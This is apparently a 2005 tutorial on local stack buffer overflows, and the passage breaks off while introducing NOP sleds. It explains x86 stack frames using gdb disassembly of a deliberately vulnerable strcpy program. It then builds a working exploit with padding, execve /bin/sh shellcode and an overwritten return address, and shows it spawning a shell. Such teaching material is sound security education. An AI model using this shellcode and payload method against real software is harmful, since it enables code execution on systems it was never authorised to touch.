Local Stack Overflow(Basic Module)

Local Stack Overflow (Basic Module)

                       Gotfault Security Community

                                  (GSC)

 

 

---------[ Chapter : 0x100                                               ]

---------[ Subject : Introduction to Local StackOverflow ]

---------[ Author : xgc/dx A.K.A Thyago Silva                 ]

---------[ Date   : 08/27/2005                                          ]

---------[ Version : 2.5                                                    ]

 

 

|=-----------------------------------------------------------------------------=|

 

---------[ Table of Contents ]

 

  0x110 -Objective

  0x120 -Requisites

  0x130 -Introduction to Gotfault Sharing Knowledge (GSK)

  0x140 -Introduction to Buffer Overflow

  0x150 - MemorySections

  0x160 -Function Calls Process (FCP)

  0x170 - MainRegisters of the Stack

  0x180 -Introduction to the Stack Frame

  0x190 -Analysis of Vulnerable Source Code

  0x1a0 -Getting Start: Overflowing/Controlling/Executing

  0x1b0 -Conclusion

 

|=-----------------------------------------------------------------------------=|

 

 

---------[ 0x110 - Objective ]

 

Get basic knowledge of memory analysis and be able tocontrol his flow to execute

arbitrary code.

 

 

---------[ 0x120 - Requisites ]

 

Basic knowledge of C/PERL programming.

 

 

---------[ 0x130 - Introduction to Gotfault SharingKnowledge (GSK) ]

 

GSK was created to interested users on programmingsecurity to discuss

about exploitation techniques under stuff of theselected subject.

The main goal consists on users to share knowledgewith each one.

I'll try to pass detailed informations of the selectedsubject, giving

the chance to users that are just starting. All kindof users are welcome.

 

 

---------[ 0x140 - Introduction to Buffer Overflow ]

 

The principle of exploiting a buffer overflow is tooverwrite parts of

memory which aren't supposed to be overwritten byarbitrary input and

making the process execute this code. To see how andwhere an overflow

takes place, lets take a look at how memory isorganized.

 

 

---------[ 0x150 - Memory Sections ]

 

The processes memory consists of three sections:

 

 - Codesegment:  Data, in this segment, areassembler instructions that

                 the processor executes. The code execution is non-linear,

                 it can skip code, jump, and call functions on certain

                 conditions. Therefore, we have a pointer called EIP, or

                 instruction pointer. The address where EIP points to

                 always contains the code that will be executed next.

 

 - Datasegment:  Space for variables andstatic/dynamic buffers.

 

 - Stacksegment: Which is used to pass data(arguments) to functions

                 and as a space for variables of functions. The bottom(start)

                 of the stack usually resides at the very end of the virtual

                 memory of a page, and grows down. The assembler command PUSHL

                 will add to the top of the stack, and POPL will remove one item

                 from the top of the stack and put it in a register.

 

Process Memory Layout:

 

 

0xc0000000 ---------------------

          |                   |

           |env/argv pointer. |

          |       argc        |

          |-------------------|

          |                   |

          |      stack        |

          |                   |

          |        |          |

          |        |          |

          |        V          |

          /                   /

          \                   \

          |                   |

          |        ^          |

          |        |          |

          |        |          |

          |                   |

          |       heap        |

          |-------------------|

          |        bss        |

          |-------------------|

           |initialized data  |

          |-------------------|

          |       text        |

          |-------------------|

           |shared libraries  |

          |        etc.       |

0x8000000 |-------------------|

 

 

---------[ 0x160 - Function Calls Process (FCP) ]

 

On a Unix system, a function call may be broken up inthree steps:

 

 - Prolog   : The current frame pointer(EBP register) issaved. A frame can be viewed

              asa logical unit of the stack, and contains all the elements

             related to a function. The amount of memory which is necessary

             for the function is reserved.

 

 - Call     : The function parameters are stored inthe stack and the instruction

             pointer(EIP register) is saved, in order to know which instruction mustbe

             considered when the function returns.

 

 - Epilog   : The old stack state is restored(Return).

 

 

---------[ 0x170 - Main Registers of the Stack ]

 

The following registers are important in operation ofthe stack:

 

 EIP - Theextended instruction pointer. When you call a function, this

       pointeris saved on the stack for later use. When the function returns,

       thissaved address is used to determine the location of the next executed

      instruction.

 

 ESP - Theextended stack pointer. This points to the current position

       on thestack and allows things to be added to and removed from the

       stackusing push and pop operations or direct stack pointer manipulations.

 

 EBP - Theextended base pointer. This register usually stays the same

      throughout the execution of a function. It serves as a static point for

      referencing stack-based information such as variables and data in a

       functionusing offsets. This pointer usually points to the top of the stack

       for afunction.

 

 

---------[ 0x180 - Introduction to the Stack Frame ]

 

A stack frame is the name given the entire stacksection used by a given function,

including all the passed arguments, the saved EIP andpotentially any other saved

registers as EBP, and the local function variables.Previously we focused on the

stack.s use in holding local variables; now we will gointo the *bigger picture*

of the stack.

 

To understand how the stack works in the real, we needsome understanding

of the Intel CALL and RET instructions.

 

The CALL instruction makes functions possible. Thepurpose of this instruction

is to divert processor control to a different part ofcode while remembering

where you need to return. To get this goal, a CALLinstruction operates like this:

 

 -  Push address of the next instruction afterthe call onto the stack. (This

    is where theprocessor will return to after executing the function)

 -  Jump to the address specified by the call.

 

The RET instruction does the opposite. Its purpose isto return from a

called function to whatever was right after the CALLinstruction. The RET

instruction operates like this:

 

 - Pop thestored return address off the stack.

 - Jump to theaddress popped off the stack.

 

This combination allows code to be jumped to andreturned from very

easily, without restricting the nesting of functioncalls too much.

 

 

---------[ 0x190 - Analysis of Vulnerable Source Code]

 

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

int bof(char *string) {

 

  charbuffer[256];

 

  strcpy(buffer,string);

 

  return 1;

}

 

int main(int argc, char *argv[]) {

 

  bof(argv[1]);

 printf("Not gonna do it!\n");

 

  return 1;

}

 

We'll now check this source code following all flow ofmemory to demostrate

what happen with registers and stack area. After allwe'll be able to exploit

and execute any code.

 

Let's see instructions inside main function with gdb.

 

[xgc@trapdown:~]$ gcc --version

gcc (GCC) 3.3.5 (Debian 1:3.3.5-13)

Copyright (C) 2003 Free Software Foundation, Inc.

This is free software; see the source for copyingconditions.  There is NO

warranty; not even for MERCHANTABILITY or FITNESS FORA PARTICULAR PURPOSE.

 

[xgc@trapdown:~]$ gcc -o simple_stack simple_stack.c

[xgc@trapdown:~]$ gdb ./simple_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) disassemble main

Dump of assembler code for function main:

0x080483e9 <main+0>:    push  %ebp

0x080483ea <main+1>:    mov   %esp,%ebp

0x080483ec <main+3>:    sub   $0x8,%esp

0x080483ef <main+6>:    and   $0xfffffff0,%esp

0x080483f2 <main+9>:    mov   $0x0,%eax

0x080483f7 <main+14>:   sub   %eax,%esp

0x080483f9 <main+16>:   mov   0xc(%ebp),%eax

0x080483fc <main+19>:   add   $0x4,%eax

0x080483ff <main+22>:   mov   (%eax),%eax

0x08048401 <main+24>:   mov   %eax,(%esp)

0x08048404 <main+27>:   call  0x80483c4 <bof>

0x08048409 <main+32>:   movl  $0x8048534,(%esp)

0x08048410 <main+39>:   call  0x80482d8 <_init+56>

0x08048415 <main+44>:   mov   $0x1,%eax

0x0804841a <main+49>:   leave

0x0804841b <main+50>:   ret

0x0804841c <main+51>:   nop

0x0804841d <main+52>:   nop

0x0804841e <main+53>:   nop

0x0804841f <main+54>:   nop

End of assembler dump.

(gdb)

 

I'll explain now what happen with each line.

 

0x080483e9 <main+0>:    push  %ebp

0x080483ea <main+1>:    mov   %esp,%ebp

0x080483ec <main+3>:    sub   $0x8,%esp

 

It's a PROLOG.

First, EIP is saved from the function _init (or_start), that initialize

this program, which called main().

Old frame pointer is saved(%ebp) and does, fromcurrent stack pointer(esp),

the new frame pointer(mov %esp, %ebp).

After gcc-2.9.6 dummy bytes is always set free atfunctions, in this case

0x08 bytes.

It's the default process that any function does.

 

Process Layout at this moment looks like:

 

      |-------------------|--------------------------------+

      | savedEIP         | - from caller(_start) ofmain() |

     |-------------------|                                 |

      | savedEBP         | - from caller(_start) ofmain() |

      |-------------------|                                 |

      | 0x08dummy        |   NEW STACK FRAME               |

     |-------------------| --------------------------------+

 

0x080483f9 <main+16>:   mov   0xc(%ebp),%eax

0x080483fc <main+19>:   add   $0x4,%eax

0x080483ff <main+22>:   mov   (%eax),%eax

0x08048401 <main+24>:   mov   %eax,(%esp)

0x08048404 <main+27>:   call  0x80483c4 <bof>

 

At line main+16, 0xc(%ebp) is moved to EAX register.

This address is vector from argv.

At line main+19, is argv[1] set at EAX register.

At line main+22, argv[1] as pointer, it gets whatargv[1] is pointing to.

At line main+24, all content of argv[1] is being movedto stack pointer(%esp).

At line main+27, bof function call is done. Itsparameters are piled

(in reverse order) and the function is invoked.

 

Process Layout at this moment looks like:

 

     |-------------------| --------------------------------+

      | savedEIP         | - from caller(_start) ofmain() |

     |-------------------|                                |

      | savedEBP         | - from caller(_start) ofmain() |

     |-------------------|                                 |

      | 0x08dummy        |   NEW STACK FRAME               |

     |-------------------| --------------------------------+

      |bof(argv[1])      |

     |-------------------|

 

0x08048409 <main+32>:   movl  $0x8048534,(%esp)

0x08048410 <main+39>:   call  0x80482d8 <_init+56>

0x08048415 <main+44>:   mov   $0x1,%eax

 

Well, at line main+32, address(0x8048534) of string"Not gonna do it!\n" is

moved to stack pointer(%esp) and then printf(), atline main+39, is called

with his argument passed. The instruction mov $0x1,%eax is for return 1.

 

Process Layout at this moment looks like:

 

     |-------------------| --------------------------------+

      | savedEIP         | - from caller(_start) ofmain() |

     |-------------------|                                 |

      | savedEBP         | - from caller(_start) ofmain() |

      |-------------------|                                 |

      | 0x08dummy        |   NEW STACK FRAME               |

     |-------------------| --------------------------------+

      |bof(argv[1])      |

     |-------------------|

      |printf()          |

     |-------------------|

      | return1;         |

     |-------------------|

 

0x0804841a <main+49>:   leave

0x0804841b <main+50>:   ret

 

It's a Epilog.

At line main+49, is the leave instruction that does:

 

mov %ebp, %esp <- restores EBP(old frame from_start function).

pop %ebp      <- take off EBP from ESP(old frame) and loads at %ebp (EBP saved atmain).

 

At line main+50, RET instruction gets what %esp ispointing to and loads, at EIP

register, this pointed address, so, this address willbe executed.

 

Process Layout at this moment looks like:

                       

     |--------------------| --------------------------------+

      | savedEIP          | - from caller(_start) ofmain() |

     |--------------------|                                 |

      | savedEBP          | - from caller(_start) ofmain() |

     |--------------------|                                 |

      | 0x08dummy         |   NEW STACK FRAME               |

     |--------------------| --------------------------------+

      |bof(argv[1])       |

     |--------------------|

      |printf()           |

     |--------------------|

      | return1;          |

     |--------------------|

      | mov%ebp, %esp     | ---+

     |--------------------|    | -leave instruction

      | pop%ebp           | ---+

     |--------------------| 

      | ret gets(%esp)    | ---+

     |--------------------|    | - retinstruction

      | loads(%esp) @ EIP | ---+

     |--------------------|

 

Now, let's see instructions inside bof function withGDB.

 

(gdb) disassemble bof

Dump of assembler code for function bof:

0x080483c4 <bof+0>:     push  %ebp

0x080483c5 <bof+1>:     mov   %esp,%ebp

0x080483c7 <bof+3>:     sub   $0x118,%esp

0x080483cd <bof+9>:     mov   0x8(%ebp),%eax

0x080483d0 <bof+12>:    mov   %eax,0x4(%esp)

0x080483d4 <bof+16>:    lea   0xfffffef8(%ebp),%eax

0x080483da <bof+22>:    mov   %eax,(%esp)

0x080483dd <bof+25>:    call  0x80482e8 <_init+72>

0x080483e2 <bof+30>:    mov   $0x1,%eax

0x080483e7 <bof+35>:    leave

0x080483e8 <bof+36>:    ret

End of assembler dump.

(gdb)

 

0x080483c4 <bof+0>:     push  %ebp

0x080483c5 <bof+1>:     mov   %esp,%ebp

0x080483c7 <bof+3>:     sub   $0x118,%esp

 

It's a Prolog.

Again, first, EIP is saved from the main function,that call bof function.

Old frame pointer is saved(%ebp) and does, fromcurrent stack pointer(ESP),

the new frame pointer(mov %esp, %ebp).

0x118 bytes are available for local variable buffer.

 

Process Layout at this moment looks like:

 

0xbfffffff                      

     +---->|-------------------| --------------------------------+

     |      | char *string      | bof()                          |

     |      |                   |                                 |

     |      |-------------------|                                 |

     |      | saved EIP         | - from caller(main) of bof()    |

     |      |-------------------|                                 |

     |      | saved EBP         | - from caller(main) of bof()    |

     |      |-------------------|                                 |

     |      | 0x118b @ buffer[] |   NEW STACK FRAME               |

     |      |-------------------|--------------------------------+

     |      |                   |

     |      |-------------------|

     |      | .text             |

     |      |-------------------|

     +----  | call bof() @ main |

0x08040000 |-------------------|

           |                   |

           |-------------------|

            |shared libraries  |

0x08000000 |-------------------|

 

 

0x080483cd <bof+9>:     mov   0x8(%ebp),%eax

0x080483d0 <bof+12>:    mov   %eax,0x4(%esp)

0x080483d4 <bof+16>:    lea   0xfffffef8(%ebp),%eax

0x080483da <bof+22>:    mov   %eax,(%esp)

0x080483dd <bof+25>:    call  0x80482e8 <_init+72>

 

Function strcpy requires two arguments, the first oneis buffer to alocate the second

argument, in this case argv[1]. So, at line bof+90x8(%ebp)(argv[1]) is moved to EAX

and at line bof+12, EAX is moved to 0x4(%esp). After,LEA instruction is activated.

LEA does: loads the efective address from0xfffffef8(%ebp) to EAX. The difference

of LEA to MOV is that LEA loads address from somewhereto some register and MOV copies

the content of address from somewhere to someregister.

 

Process Layout at this moment looks like:

 

0xbfffffff                      

     +---->|-------------------| --------------------------------+

     |      | char *string      | bof()                          |

     |      |                   |                                 |

     |      |-------------------|                                 |

     |      | saved EIP         | - from caller(main) of bof()    |

     |      |-------------------|                                 |

     |      | saved EBP         | - from caller(main) of bof()    |

     |      |-------------------|                                 |

     |      | 0x118b @ buffer[] |   NEW STACK FRAME               |

     |      |-------------------| --------------------------------+

     |      | strcpy()          |

     |      |-------------------|

     |      |                   |

     |      |-------------------|

     |      | .text             |

     |      |-------------------|

     +----  | call bof() @ main |

0x08040000 |-------------------|

           |                   |

           |-------------------|

            |shared libraries  |

0x08000000 |-------------------|

 

0x080483e7 <bof+35>:    leave

0x080483e8 <bof+36>:    ret

 

It's a Epilog.

Again, at line bof+35, is the LEAVE instruction thatdoes:

 

mov %ebp, %esp <- restores EBP(old frame from mainfunction).

pop %ebp      <- take off EBP from ESP(old frame) and loads at %ebp (EBP saved atbof).

 

At line bof+36, RET instruction gets what %esp ispointing to and loads, at EIP

register, this pointed address, so, this address willbe executed when returns

to main fucntion and will follow the normal flow evenmain finishs.

 

Process Layout at this moment looks like:

 

0xbfffffff                       

     +---->|--------------------| --------------------------------+

     |      | char *string       | bof()                          |

     |      |                    |                                 |

     |      |--------------------|                                 |

     |      | saved EIP          | - from caller(main) of bof()    |

     |      |--------------------|                                 |

     |      | saved EBP          | - from caller(main) of bof()    |

     |      |--------------------|                                 |

     |      | 0x118b @ buffer[]  |   NEWSTACK FRAME               |

     |      |--------------------|--------------------------------+

     |      | strcpy()           |

     |      |--------------------|

     |      | return 1;          |

     |      |--------------------|

     |      | mov %ebp,%esp      | ---+

     |      |--------------------|    | - leave instruction

     |      | pop %ebp           | ---+

     |      |--------------------| 

     |      | ret gets (%esp)    | ---+

     |      |--------------------|    | - ret instruction

     |      | loads (%esp) @ EIP | ---+

     |      |--------------------|

     |      |                    |

     |      |--------------------|

     |      | .text              |

     |      |--------------------|

     +----  | call bof() @ main  |

0x08040000 |--------------------|

           |                    |

           |--------------------|

            |shared libraries   |

0x08000000 |--------------------|

 

Let's check execution of the program at gdb.

 

[xgc@trapdown:~]$ gdb ./simple_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) disassemble main

Dump of assembler code for function main:

0x080483e9 <main+0>:    push  %ebp

0x080483ea <main+1>:    mov   %esp,%ebp

0x080483ec <main+3>:    sub   $0x8,%esp

0x080483ef <main+6>:    and   $0xfffffff0,%esp

0x080483f2 <main+9>:    mov   $0x0,%eax

0x080483f7 <main+14>:   sub   %eax,%esp

0x080483f9 <main+16>:   mov   0xc(%ebp),%eax

0x080483fc <main+19>:   add   $0x4,%eax

0x080483ff <main+22>:   mov   (%eax),%eax

0x08048401 <main+24>:   mov   %eax,(%esp)

0x08048404 <main+27>:   call  0x80483c4 <bof>

0x08048409 <main+32>:   movl  $0x8048534,(%esp)

0x08048410 <main+39>:   call  0x80482d8 <_init+56>

0x08048415 <main+44>:   mov   $0x1,%eax

0x0804841a <main+49>:   leave

0x0804841b <main+50>:   ret

0x0804841c <main+51>:   nop

0x0804841d <main+52>:   nop

0x0804841e <main+53>:   nop

0x0804841f <main+54>:   nop

End of assembler dump.

(gdb) break *main+24

Breakpoint 1 at 0x8048401

(gdb) run testing...

Starting program: /home/xgc/simple_stack testing...

 

Breakpoint 1, 0x08048401 in main ()

(gdb) x/x $esp+0x04

0xbffffb24:    0xbffffb84

(gdb) x/x 0xbffffb84

0xbffffb84:    0xbffffc60

(gdb) x/s 0xbffffc60

0xbffffc60:     "/home/xgc/simple_stack"

(gdb)

0xbffffc77:     "testing..."

(gdb)

 

As I said about the process to load argv[1] into thestack.

At $esp+0x4 stands argv[0].

 

(gdb) d 1

(gdb) break *main+27

Breakpoint 2 at 0x8048404

(gdb) disassemble bof

Dump of assembler code for function bof:

0x080483c4 <bof+0>:     push  %ebp

0x080483c5 <bof+1>:     mov   %esp,%ebp

0x080483c7 <bof+3>:     sub   $0x118,%esp

0x080483cd <bof+9>:     mov   0x8(%ebp),%eax

0x080483d0 <bof+12>:    mov    %eax,0x4(%esp)

0x080483d4 <bof+16>:    lea   0xfffffef8(%ebp),%eax

0x080483da <bof+22>:    mov   %eax,(%esp)

0x080483dd <bof+25>:    call  0x80482e8 <_init+72>

0x080483e2 <bof+30>:    mov   $0x1,%eax

0x080483e7 <bof+35>:    leave

0x080483e8 <bof+36>:    ret

End of assembler dump.

(gdb)

 

At bof function we can see a problem with strcpyfunction.

The function strcpy() does not check its boundaries,that means

that it does not check if argv[1] fits into buffer,and just keeps

on copying into buffer until it encounters a NULLstring (\0).

 

 

---------[ 0x1a0 - Getting Start:Overflowing/Controlling/Executing ]

 

Let's fill the buffer more than it supports.

 

(gdb) run `perl -e 'print"A"x264,"BBBB"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/simple_stack `perl -e'print "A"x264,"BBBB"'`

 

Breakpoint 2, 0x08048404 in main ()

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x08048400 in main ()

(gdb) i r ebp

ebp           0x42424242       0x42424242

(gdb)

 

Now let's see what happen before segmentation fault:

 

(gdb) disassemble bof

Dump of assembler code for function bof:

0x080483c4 <bof+0>:     push  %ebp

0x080483c5 <bof+1>:     mov   %esp,%ebp

0x080483c7 <bof+3>:     sub   $0x118,%esp

0x080483cd <bof+9>:     mov   0x8(%ebp),%eax

0x080483d0 <bof+12>:    mov   %eax,0x4(%esp)

0x080483d4 <bof+16>:    lea   0xfffffef8(%ebp),%eax

0x080483da <bof+22>:    mov   %eax,(%esp)

0x080483dd <bof+25>:    call  0x80482e8 <_init+72>

0x080483e2 <bof+30>:    mov   $0x1,%eax

0x080483e7 <bof+35>:    leave

0x080483e8 <bof+36>:    ret

End of assembler dump.

(gdb) break *bof+35

Breakpoint 1 at 0x80483e7

(gdb) display/1i $eip

(gdb) run `perl -e 'print "A" x 264, "BBBB"'`

Starting program: /home/xgc/simple_stack `perl -e'print "A" x 264, "BBBB"'`

 

Breakpoint 1, 0x080483e7 in bof ()

1: x/i $eip 0x80483e7 <bof+35>:       leave

(gdb) i r ebp

ebp           0xbffffa18       0xbffffa18

(gdb) stepi

0x080483e8 in bof ()

1: x/i $eip 0x80483e8 <bof+36>:       ret

(gdb) i r ebp

ebp           0x42424242       0x42424242

(gdb)

 

EBP was overwritten. Segmentation fault have beenocurred at RET, of bof

function, that got what %esp is pointing(leaveinstruction) to and puts at

eip register this pointed address. Check out processlayout after EBP controlled:

 

0xbfffffff                      

     +---->|-----------------------| --------------------------------+

     |      | char *string          | bof()                          |

     |      |                       |                                 |

     |      |-----------------------|                                 |

     |      | saved EIP             | - from caller(main) ofbof()    |

     |      |-----------------------|                                 |

     |      | saved EBP(0x42424242) | - fromcaller(main) of bof()    |

     |      |-----------------------|                                 |

     |      |0x118b @ buffer[]     |   NEW STACK FRAME               |

     |      |-----------------------|--------------------------------+

     |      | strcpy()              |

     |      |-----------------------|

     |      | return 1;             |

     |      |-----------------------|

     |      | mov %ebp, %esp        | ---+

     |      |-----------------------|    | - leave instruction

     |      | pop %ebp              | ---+

     |      |-----------------------| 

     |      | ret gets (%esp)       |---+

     |      |-----------------------|    | - ret instruction

     |      | loads (%esp) @ EIP    | ---+

     |      |-----------------------|

     |      |                       |

     |      |-----------------------|

     |      | .text                 |

     |      |-----------------------|

     +----  | call bof() @ main     |

0x08040000 |-----------------------|

           |                       |

           |-----------------------|

            |shared libraries      |

0x08000000  |-----------------------|

 

Let's add more four bytes and run the program again.

 

(gdb) run `perl -e 'print"A"x264,"BBBB","CCCC"'`

Starting program: /home/xgc/simple_stack `perl -e'print "A"x264,"BBBB","CCCC"'`

 

Breakpoint 2, 0x08048404 in main ()

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

(gdb) i r ebp eip

ebp           0x42424242       0x42424242

eip           0x43434343       0x43434343

(gdb)

 

Now let's see what happen before segmentation fault:

 

(gdb) disassemble main

Dump of assembler code for function main:

0x080483e9 <main+0>:    push  %ebp

0x080483ea <main+1>:    mov   %esp,%ebp

0x080483ec <main+3>:    sub   $0x8,%esp

0x080483ef <main+6>:    and   $0xfffffff0,%esp

0x080483f2 <main+9>:    mov   $0x0,%eax

0x080483f7 <main+14>:   sub   %eax,%esp

0x080483f9 <main+16>:   mov   0xc(%ebp),%eax

0x080483fc <main+19>:   add   $0x4,%eax

0x080483ff <main+22>:   mov   (%eax),%eax

0x08048401 <main+24>:   mov   %eax,(%esp)

0x08048404 <main+27>:   call  0x80483c4 <bof>

0x08048409 <main+32>:   movl  $0x8048534,(%esp)

0x08048410 <main+39>:   call  0x80482d8 <_init+56>

0x08048415 <main+44>:   mov   $0x1,%eax

0x0804841a <main+49>:   leave

0x0804841b <main+50>:   ret

0x0804841c <main+51>:   nop

0x0804841d <main+52>:   nop

0x0804841e <main+53>:   nop

0x0804841f <main+54>:   nop

End of assembler dump.

(gdb) break *main+44

Breakpoint 1 at 0x8048415

(gdb) disassemble bof

Dump of assembler code for function bof:

0x080483c4 <bof+0>:     push  %ebp

0x080483c5 <bof+1>:     mov   %esp,%ebp

0x080483c7 <bof+3>:     sub   $0x118,%esp

0x080483cd <bof+9>:     mov   0x8(%ebp),%eax

0x080483d0 <bof+12>:    mov   %eax,0x4(%esp)

0x080483d4 <bof+16>:    lea   0xfffffef8(%ebp),%eax

0x080483da <bof+22>:    mov   %eax,(%esp)

0x080483dd <bof+25>:    call  0x80482e8 <_init+72>

0x080483e2 <bof+30>:    mov   $0x1,%eax

0x080483e7 <bof+35>:    leave

0x080483e8 <bof+36>:    ret

End of assembler dump.

(gdb) break *bof+35

Breakpoint 2 at 0x80483e7

(gdb) display/1i $eip

(gdb) run `perl -e 'print "A" x 264,"BBBB","CCCC"'`

Starting program: /home/xgc/simple_stack `perl -e'print "A" x 264, "BBBB","CCCC"'`

 

Breakpoint 2, 0x080483e7 in bof ()

1: x/i $eip 0x80483e7 <bof+35>:       leave

(gdb) i r ebp eip

ebp            0xbffffa18       0xbffffa18

eip           0x80483e7        0x80483e7

(gdb) stepi

0x080483e8 in bof ()

1: x/i $eip 0x80483e8 <bof+36>:       ret

(gdb) i r ebp eip

ebp           0x42424242       0x42424242

eip           0x80483e8        0x80483e8

(gdb) stepi

0x43434343 in ?? ()

1: x/i $eip 0x43434343:        add    %al,(%eax)

(gdb) i r ebp eip

ebp           0x42424242       0x42424242

eip           0x43434343       0x43434343

(gdb)

 

EBP and EIP were overwritten. Segmentation fault havebeen ocurred at RET, of bof

function, that got what %esp is pointing to and putsat eip register this pointed

address, when it Returns to main function Check outprocess layout after EIP

and EBP controlled:

 

0xbfffffff                      

     +---->|-----------------------| --------------------------------+

     |      | char *string          | bof()                          |

     |      |                       |                                 |

     |      |-----------------------|                                 |

     |      | saved EIP(0x43434343) | - fromcaller(main) of bof()    |

     |      |-----------------------|                                 |

     |      | saved EBP(0x42424242) | - fromcaller(main) of bof()    |

     |      |-----------------------|                                 |

     |      | 0x118b @ buffer[]     |  NEW STACK FRAME               |

     |      |-----------------------|--------------------------------+

     |      | strcpy()              |

     |     |-----------------------|

     |      | return 1;             |

     |      |-----------------------|

     |      | mov %ebp,%esp         | ---+

     |      |-----------------------|    | - leave instruction

     |      | pop %ebp              | ---+

     |      |-----------------------| 

     |      | ret gets (%esp)       | ---+

     |      |-----------------------|    | - ret instruction

     |      | loads (%esp) @ EIP    | ---+

     |      |-----------------------|

     |      |                       |

     |      |-----------------------|

     |      | .text                 |

     |      |-----------------------|

     +----  | call bof() @ main     |

0x08040000 |-----------------------|

           |                       |

           |-----------------------|

            |shared libraries      |

0x08000000 |-----------------------|

 

EIP controlled means that we can now jump to anywhereor execute any instruction

or any code. Our goal here is inject shellcode atstack memory and makes EIP jumps

to there to execute /bin/sh. Let's restart the processat GDB.

 

[xgc@trapdown:~]$ gdb ./simple_stack -q

Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) break *main+27

Breakpoint 1 at 0x8048404

(gdb) display/1i $eip

(gdb) run `perl -e 'print"A"x264,"BBBB","CCCC"'`

Starting program: /home/xgc/simple_stack `perl -e'print "A"x264,"BBBB","CCCC"'`

 

Breakpoint 1, 0x08048404 in main ()

1: x/i $eip 0x8048404 <main+27>:      call   0x80483c4 <bof>

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

1: x/i $eip 0x43434343:        add    %al,(%eax)

(gdb)

 

First, we've break at call of bof function just todebug.

I've also set one display to watch EIP as ASMInstruction format and

after we continue to leave the break. Gettinginformations about main registers

we can see that EBP and EIP were controlled by us. Ourcode to execute will be

called by shellcode. But try to figure out, tooverwrite EIP we filled the buffer

with 272 bytes. So our malicious buffer will lookslike:

 

[################] + [SHELLCODE] + [CCCC] = 272 bytes.

 

[################] = Garbage

[SHELLCODE]       = Code to execute /bin/sh

[CCCC]            = Bytes to overwrite EIP

------------------ = 272 bytes.

 

We'll use this follow shellcode:

 

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"

"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

 

This shellcode have 24 bytes and executes /bin/sh.

 

[################] = Garbage                  - 244 bytes

[SHELLCODE]       = Code to execute /bin/sh  -  24 bytes

[CCCC]            = Bytes to overwrite EIP   -   4 bytes

------------------ = 272 bytes.

 

Now we'll back to GDB and build our malicious buffer.

 

(gdb) run `perl -e 'print"A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53

\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC" '`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/simple_stack `perl -e'print "A"x244,"\x31\xc0\x50\x68

//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","CCCC"'`

 

Breakpoint 1, 0x08048404 in main ()

1: x/i $eip 0x8048404 <main+27>:      call   0x80483c4 <bof>

(gdb) c

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

0x43434343 in ?? ()

1: x/i $eip 0x43434343:        add   %al,(%eax)

(gdb) i r eip

eip           0x43434343       0x43434343

(gdb)

 

As we can see, theory works and EIP still controlledby us.

Well, the 4 bytes to control EIP must be replaced bythe address of shellcode at ESP.

After replaced "CCCC" by the address ofshellcode (as we said before, will points

to the next instruction), shellcode will be executed.All processs looks like:

 

                           +-------------+

                           |             |

                           v             |

[################] + [SHELLCODE] + [&SHELLCODE] =272 bytes.

                                      (EIP)

 

To get address of this shellcode at stack memory wecan do a direct jump

to begin of shellcode instructions or use NOP bytes.

 

For direct jump method we need to check whereshellcode instructions starts at stack

memory. Let's see:

 

(gdb) x/128xb $esp

          .

          .

          .

0xbffffc48:    0x41    0x41    0x41   0x41    0x41    0x41   0x41    0x41

0xbffffc50:    0x41    0x41    0x41   0x41    0x41    0x41   0x41    0x41

0xbffffc58:    0x41    0x41    0x41   0x41    0x41    0x41   0x41    0x41

0xbffffc60:    0x41    0x41    0x41   0x41    0x31    0xc0   0x50    0x68

0xbffffc68:    0x2f    0x2f    0x73   0x68    0x68    0x2f   0x62    0x69

0xbffffc70:    0x6e    0x89    0xe3   0x50    0x53    0x89   0xe1    0x99

0xbffffc78:    0xb0    0x0b    0xcd   0x80    0x43    0x43   0x43    0x43

 

We can see part of our A's and following the shellcodeand to finishs "CCCC".

So, shellcode address is at 0xbffffc64.

Now we need to add this address inside of ourmalicious buffer, in little endian

format, and re-execute the program.

 

Backing to GDB again.

 

(gdb) run `perl -e 'print "A"x244,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53

\x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/xgc/simple_stack `perl -e'print "A"x244,"\x31\xc0\x50\x68

//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x64\xfc\xff\xbf"'`

 

Breakpoint 1, 0x08048404 in main ()

1: x/i $eip 0x8048404 <main+27>:      call   0x80483c4 <bof>

(gdb) c

Continuing.

 

Program received signal SIGTRAP, Trace/breakpointtrap.

0x40000c20 in ?? () from /lib/ld-linux.so.2

1: x/i $eip 0x40000c20 <completed.1+939226576>:        mov   %esp,%eax

(gdb) c

Continuing.

sh-2.05b$

 

Our shellcode was sucessfuly executed.

 

Now the stack layout after success execution:

 

                32 bits

0xbfffffff --------------------------------------------------+

          |                        |  bof()                  |

           |char *string           |                         |

          |                        |                         |

          |------------------------|     NEW STACK FRAME    |

           |SAVED EIP (0xbffffc64) |<--+                     |

          |------------------------|  |                     |

           |SAVED EBP (0x80cd0bb0) |   |                     |

          |------------------------| --|---------------------|

           |SHELLCODE              |<--+   Malicous buffer   |

          |------------------------|  |     (272bytes)      |

           | A x244                |   |                     |

          |------------------------|---+---------------------+

          |                        |

          |------------------------|

           |.text                  |

          |------------------------|

           |call bof() @ main      |

0x08040000 |------------------------|

          |                        |

          |------------------------|

           |shared libraries       |

0x08000000 |------------------------|

 

The NOP idea is simple. A NOP is an instruction thatdoes nothing.

It only takes up space. (Incidentally, the NOP wasoriginally created

for debugging.) Since the NOP is only a single bytelong, it is immune

to the problems of byte ordering and alignment issues.

The trick involves filling our buffer with NOPs beforethe actual payload. If

